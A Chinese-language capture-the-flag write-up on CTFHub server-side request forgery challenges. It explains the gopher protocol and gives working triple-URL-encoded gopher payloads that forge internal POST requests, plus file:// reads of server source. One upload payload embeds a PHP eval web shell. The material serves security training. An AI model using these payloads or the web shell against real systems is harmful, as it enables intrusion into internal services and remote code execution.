知识点:
1.什么是gopher协议
1.Gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。
2.它只支持文本,不支持图像
3.Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。
2.gopher使用结构
gopher://127.0.0.1:80/_{TCP/IP数据流} #_不能省
3.注意事项
1.默认端口为70
2.如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
一、POST请求
题目有提示需用302跳转,以php的curl实现
使用dirsearch发现有以下界面,都访问看一下
python dirsearch.py -u http://challenge-c81b1dbf4106f429.sandbox.ctfhub.com:10800/?url=127.0.0.1
只有flag.php有东西
我们尝试用file://读取文件,得到如下代码:
index.php
?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init(); //初始化一次curl对话,ch返回curl句柄
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //curlopt_url需要获取的 URL 地址
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 位掩码, 1 (301 永久重定向)
curl_exec($ch);
curl_close($ch);
flag.php
?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag; #当post传值为key时使出flag
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
解题思路:
我们知道只要往flag.php传key值就可以得到flag,而index.php可以利用curl传url,那么我们可以用gopher协议在index.php中构造post请求包往flag.php传key值,以此获取flag
POST包必须包含的四个参数:Content-Type
,Content-Length
,host
,post
POST包如下:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36 //长度为key的长度
key=0bd5e192bb3c5e0f3df6b8ddf4252d9c
gopher的数据需要用url编码三次之后再发送,且第一次编码后%0A需全部替换成%0D%0A,现在进行编码
三次编码后成这样了
完整payloads如下,前面都一样的,主要是key值每个人都不一样:
?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D0bd5e192bb3c5e0f3df6b8ddf4252d9c
最后使用burp发包
艰难拿到flag
二、上传文件
1.题目已经提示说需要上传一个文件到flag.php
2.访问并且查看源代码,得到以下代码
?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
3.意思是需要在本地上传且文件不能为空,而且这里缺了一个提交按钮,我们直接给他加上
4.发现index.php还是存在的,而且代码和之前一样没变
5.那我们可以继续使用POST请求的方法向flag.php传递参数了,以下过程和POST请求一样,这里就单放图,不细说了
最后放上三次编码后的POST包,供大家参考
POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520challenge-18dcec6a7d5dd0bc.sandbox.ctfhub.com%25253A10800%25250D%25250AUser-Agent%25253A%252520Mozilla/5.0%252520%252528Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64%25253B%252520rv%25253A98.0%252529%252520Gecko/20100101%252520Firefox/98.0%25250D%25250AAccept%25253A%252520text/html%25252Capplication/xhtml%25252Bxml%25252Capplication/xml%25253Bq%25253D0.9%25252Cimage/avif%25252Cimage/webp%25252C%25252A/%25252A%25253Bq%25253D0.8%25250D%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.8%25252Czh-TW%25253Bq%25253D0.7%25252Czh-HK%25253Bq%25253D0.5%25252Cen-US%25253Bq%25253D0.3%25252Cen%25253Bq%25253D0.2%25250D%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250D%25250AContent-Type%25253A%252520multipart/form-data%25253B%252520boundary%25253D---------------------------224081668421857974283262262083%25250D%25250AContent-Length%25253A%252520384%25250D%25250AOrigin%25253A%252520http%25253A//challenge-18dcec6a7d5dd0bc.sandbox.ctfhub.com%25253A10800%25250D%25250AConnection%25253A%252520close%25250D%25250AReferer%25253A%252520http%25253A//challenge-18dcec6a7d5dd0bc.sandbox.ctfhub.com%25253A10800/%25253Furl%25253D127.0.0.1/flag.php%25250D%25250AUpgrade-Insecure-Requests%25253A%2525201%25250D%25250A%25250D%25250A-----------------------------224081668421857974283262262083%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522123.txt%252522%25250D%25250AContent-Type%25253A%252520text/plain%25250D%25250A%25250D%25250A%25253C%25253Fphp%25250D%25250A%252520%252520%252520%252520%252540eval%252528%252524_REQUEST%25255B%252522shell%252522%25255D%252529%25253B%25250D%25250A%25253F%25253E%25250D%25250A-----------------------------224081668421857974283262262083%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250D%25250A%25250D%25250A%2525E9%25258E%2525BB%2525E6%252584%2525AA%2525E6%2525B0%2525A6%2525E9%25258F%25258C%2525E3%252583%2525A8%2525EE%252587%252597%25250D%25250A-----------------------------224081668421857974283262262083--
参考文章:
https://www.cnblogs.com/beidaxmf/p/13935298.html